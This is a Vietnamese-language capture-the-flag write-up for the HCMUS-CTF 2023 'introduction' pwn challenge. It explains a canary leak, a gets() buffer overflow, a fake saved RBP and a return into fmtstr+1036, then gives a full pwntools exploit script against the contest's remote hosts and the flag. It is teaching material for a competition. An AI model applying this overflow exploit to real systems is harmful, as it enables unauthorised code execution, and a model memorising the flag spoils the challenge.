# (writeup) HCMUS-CTF warmup 2023
## Introduction
- đây là bài quằn nhất, do chứa quá nhiều thông tin k liên quan đến hướng giải của flag =))))))
- check ida thì vô vàn hàm nhưng chỉ show mỗi hàm này vì có thứ cần khai thác

- check lớp bảo vệ

- vì canary bật nên để overflow, ta cần leak canary ra vì đề cho ta sẵn kkkkk

- đầu tiên ta cần tìm offset trước địa chỉ canary, thì trong hàm **rop** có **get()** lỗi BOF

- thì ở đây ta debug và dừng lại ngay hàm **get** để coi canary

- tạm thời mình lấy ngay địa chỉ màu đỏ ấy đi là nhập 0x50 hay là 80 byte, nhưng để canary k bị thoát chương trình thì mình lui lại 8 byte thành 72 r thêm 8 byte của địa chỉ canary vào
- sau đó mình điều hướng nó tới hàm <**fmtstr**>+1036 vì nơi đó khả nghi và cũng skip qua mấy cái dài dòng văn tự của đề cho rồi pad thêm 8 byte để save rbp

- rồi chèn payload của mình vào thì thấy chưa dc, bị EOF hay lỗi j rồi
- nên 8 byte save rbp đó mình sẽ đổi sang địa chỉ stack mà read vs write

- theo kinh nghiệm thì địa chỉ đó ta thêm 0xa0 byte vào, vì lỡ may trong tính toán có trừ bớt thì k sợ rơi vào vùng địa chỉ trên(địa chỉ chỉ có khả năng read)
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./introduction',checksec=False)
#p = process(exe.path)
p = remote('103.245.250.17',30006)
#p = remote('61.28.237.106',30006)
#p = remote('103.245.250.29',30006)
p.recvuntil(b'explained later): ')
canary_leak = int(p.recvline(),16)
log.info("canary leak: " + hex(canary_leak))
#input()
payload = b'A'*72
payload += p64(canary_leak)
payload += p64(0x00000000006050a0)
payload += p64(exe.sym['fmtstr']+1036)
p.sendlineafter(b'Now, input something into the char buf array, and I will show you what that looks like on the stack.\n', payload)
p.interactive()
```
HCMUS-CTF{4nd_s0_th3_3xpl01ts_b3g1n}